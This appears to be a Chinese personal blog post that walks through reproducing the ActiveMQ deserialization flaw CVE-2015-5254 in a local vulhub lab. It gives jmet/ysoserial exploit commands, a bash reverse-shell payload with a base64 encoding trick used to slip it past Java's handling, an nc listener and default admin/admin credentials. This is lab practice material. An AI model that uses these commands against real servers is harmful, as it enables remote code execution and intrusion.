avatar

目录
玩vulhub靶机第一篇(CVE-2015-5254)

这个漏洞在vulhub官网漏洞环境上排在首位,出于第一次练手的心态,所以就选择了他。

正文

靶机环境

Ubuntu20.04 ip:192.168.26.128

自行安装好docker,python环境,java环境。

通过git把vulhub环境拉下来

进入到漏洞目录

先自动化编译环境

Code
1
docker-compose build

接着运行漏洞环境

Code
1
docker-compose up -d

进入等待状态,等待他加载完。

完成以后会有done提示。

环境运行后,将监听61616和8161两个端口其中61616是工作端口,消息在这个端口进行传递; 8161是web管理页面端口访问http://ip:8161即可看到网络管理页面,使用浏览器直接访问,查看是否部署完毕。

Code
1
127.0.0.1:8161或 192.168.26.128:8161


漏洞复现

  1. 构造(可以使用ysoserial)可执行命令的序列化对象
    1. 作为一个消息,发送给目标61616端口
      1. 访问web管理页面,读取消息,触发漏洞

使用jmet进行漏洞利用。首先下载jmet的jar文件

工具下载地址:

Code
1
2
3
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

等下载好后,执行payload

Code
1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME Ip 61616

这时候到浏览器访问页面,首先需要进入/admin页面,这时候需要输入帐号密码,因为默认没有更改,所以账密都是admin/admin

此时会给目标ActiveMQ添加一个名为event的队列,我们可以通过访问url,看到这个队列中所有消息

Code
1
http://target-ip:8161/admin/browse.jsp?JMSDestination=event

点击进去以后,回到终端,这时候要进入docker容器中

首先输入查看容器id

Code
1
docker ps

接着通过命令进入容器中

Code
1
docker exec -it 容器id /bin/bash

这时候查看/tmp目录,看一下时候生成success目录,payload执行成功。接下来就是反弹shell了。

payload:bash -i >& /dev/tcp/your-ip/任意端口 0>&1

完整语句

Code
1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/your-ip/任意端口 0>&1" -Yp ROME 192.168.26.128 61616

我试过,如果直接这样子输入,是不成功的,需要对payload进行base64编码,绕过java检测机制。

新payload:bash -c {echo,payload进行base64编码}|{base64,-d}|{bash,-i}

进行base64编码的payload是这句:bash -i >& /dev/tcp/your-ip/任意端口 0>&1

Code
1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,payload进行base64编码}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.26.128 61616

编码的方式也有讲究,一开始我测试时候,随便找了个网站进行base64编码,但是一直都没有反弹成功,当时很懵逼,加密后语句是这样的

Code
1
YmFzaCUyMC1pJTIwJTNFJTI2JTIwL2Rldi90Y3AvMTkyLjE2OC4yNi4xMjgvODg4OCUyMDAlM0UlMjYx

按照正常来说,base64编码后,是有等号的,但是这个没有,因为一直没有反弹shell,也感觉可能是编码问题,就换了一个网站进行加密。

这是新的加密,替换语句中旧的payload。然后监听的端口成功接收到shell。

Code
1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI2LjEyOC84ODg4IDA+JjE=

反弹shell

执行了payload以后,监听 8888端口。

Code
1
nc -l -p 8888

回到浏览器,查看队列中是否出现新的消息

点进去,这时查看终端,成功接收到反弹的shell

复现结束


准备复现的漏洞

先把st系列的玩一玩

文章作者: KeyboArd
文章链接: https://www.wrpzkb.cn/vulhub1/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 KeyboArd's Blog
打赏
  • 微信
    微信
  • 支付寶
    支付寶

评论